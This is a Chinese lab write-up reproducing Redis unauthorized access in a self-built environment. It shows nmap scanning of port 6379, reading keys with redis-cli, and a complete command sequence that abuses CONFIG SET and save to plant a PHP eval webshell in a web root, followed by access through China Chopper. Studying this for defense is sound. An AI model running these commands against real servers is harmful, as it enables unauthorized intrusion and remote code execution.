最近在做校招题目的时候发现有问到未授权访问,特此搭建了诸多未授权访问的环境并且一一复现并做简单总结。再此记录下来
环境介绍
0x00环境搭建
我这里用到的是Microsoft(R) Windows(R) Server 2003, Enterprise Edition 32位服务器,所以下载的是32位的redis,如果是64位的请下载对应的版本
下载地址:https://github.com/MSOpenTech/redis/releases。
下载下来的压缩包将其放入C盘根目录,重命名为Redis。打开一个 CMD 窗口,cd 进入到 C:\Redis,输入 redis-server.exe Redis.conf
回车之后,如果显示如下界面就证明成功了
看到这个界面之后,此时另起一个 CMD 窗口,同样通过 cd 进入 C:\Redis 输入 redis-cli.exe -h 127.0.0.1 -p 6379
之后设置key值 set key zxc
取出key值 get key
在这里环境就已经搭建完成
0x01攻击方法
1.使用nmap获取目标端口信息
因为Redis默认端口号为6379,因此我们对6379端口进行扫描
1 nmap -A -p 6379 -script redis-info 192.168.50.130
这里看到,已经获取到了Redis的相关信息。
2.通过Redis未授权访问获取敏感信息
Redis在默认配置的情况下,是空口令,并且如果其默认端口6379对外开放的话,则可以远程访问,因此默认配置下的Redis我们可以直接连接并获取敏感信息。
1 ./redis-cli -h 192.168.50.130 2 3 info
查看里面对应的key值
keys *
get key
0x02 深化攻击
一、结合Web服务获取Webshell
1.1 环境搭建
在服务器搭建好Web服务器,这里为了方便,使用Phpstudy来进行搭建
1.2 通过redis未授权向网站根目录写入一句话木马,然后用菜刀链接,从而获得Webshell
Redis Config Set 命令 - 修改 redis 配置参数,无需重启
root@kali:~/redis-2.8.17/src# ./redis-cli -h 192.168.50.130 192.168.50.130:6379> CONFIG SET dir C://phpstudy/PHPTutorial/WWW OK 192.168.50.130:6379> set Webshell "<?php @eval($_POST[cmd]);?>" OK 192.168.50.130:6379> CONFIG SET dbfilename pa55.php OK 192.168.50.130:6379> save OK
此时,就已经在C://phpstudy/PHPTutorial/WWW目录下写入了一个内容为 "<?php @eval($_POST[cmd]);?>" ,文件名为 pa55.php 的php一句话木马
1.3通过菜刀连接:
文件管理界面
查看ipconfig信息: